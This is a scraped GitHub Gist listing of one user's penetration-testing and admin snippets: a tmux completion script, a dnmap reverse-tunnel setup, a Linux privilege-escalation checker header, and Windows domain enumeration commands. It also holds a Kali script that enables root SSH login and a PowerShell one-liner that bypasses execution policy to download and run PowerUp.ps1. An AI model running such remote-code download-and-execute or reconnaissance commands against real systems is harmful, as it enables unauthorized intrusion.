Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
#wget https://gist.githubusercontent.com/royharoush/f4c26a20eb6db711c2fa73a5db89e4b6/raw/31e1a6dec164418d45fd8e52b7d794359d7cae57/bash_completion_tmux.sh -O /etc/bash_completion.d/tmux_completion.sh
# tmux completion
# See: http://www.debian-administration.org/articles/317 for how to write more.
# Usage: Put "source bash_completion_tmux.sh" into your .bashrc
# Based upon the example at http://paste-it.appspot.com/Pj4mLycDE
_tmux_expand ()
{
[ "$cur" != "${cur%\\}" ] && cur="$cur"'\';
@royharoush
royharoush / runinscreen
Created January 30, 2017 14:27
run a commad in screen without opening screen
screen -S 'client1' -d -m dnmap_client -s 127.0.0.1 -p 46001
@royharoush
royharoush / convertCSSHtunnel.sh
Created January 30, 2017 13:58
Modifying CSSH code to support reverse tunnel through ssh
git clone https://git.code.sf.net/p/clusterssh/code clusterssh-code
cd clusterssh-code/
grep -rle "-x -o" | xargs sed -i 's/-x -o/ -R 46001:127.0.0.1:46001 -x -o /g'
perl Build.PL
./Build
./Build test
./Build install
cd bin
@royharoush
royharoush / linuxprivchecker.py
Created August 29, 2016 08:50 — forked from sh1n0b1/linuxprivchecker.py
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
@royharoush
royharoush / ssh-sshfs-pki-cheatsheat.txt
Last active August 29, 2024 18:35
SSHFS, SSH, and Private Keys
##create public and private keys
# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/QXXXXXXXXXXXXXXXXXXXE root@somemachine
@royharoush
royharoush / gist:86816c6ed8945f2eb28586a156e86724
Last active June 22, 2016 12:16
useful windows commands in info gather inside the network
net view /domain:domain
dsquery ou domainroot -name name* -limit 4000
dsquery group domainroot -name name* -limit 4000
net group "domain computers" /domain
net group "domain computers" /domain
c:\Temp>dsget group CN=xxx,OU=Groups,OU=Libraries,DC=xxx,DC=xxx,DC=xxx -members -expand
@royharoush
royharoush / Kali2Prepare.sh
Last active July 12, 2019 12:28
Prepare Kali for SSH
#make ssh run on boot
update-rc.d -f ssh enable 2 3 4 5
#allow root to login through ssh
sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/g' /etc/ssh/sshd_config
service ssh restart
#fix sources list
printf 'deb http://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
#echo curl https://ipinfo.io/ip > /usr/bin/myip && chmod +x /usr/bin/myip
apt-get update
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks
#!/bin/bash
apt-get install dkms linux-headers-$(uname -r) build-essential psmisc
git clone https://github.com/rasa/vmware-tools-patches.git
cd vmware-tools-patches/patches
rm -rf pvscsi/ vmblock/ vmci/ vmmemctl/ vmsync/ vmxnet/ vmxnet3/ vsock/
cd ..
cp /media/cdrom/VMware* ./
./untar-and-patch-and-compile.sh
function urlMatchesOneOfPatterns(url, patterns) {
for (var i = 0; i < patterns.length; i++) {
var pattern = patterns[i];
if (url.match(pattern)) {
return true;
}
}
return false;
}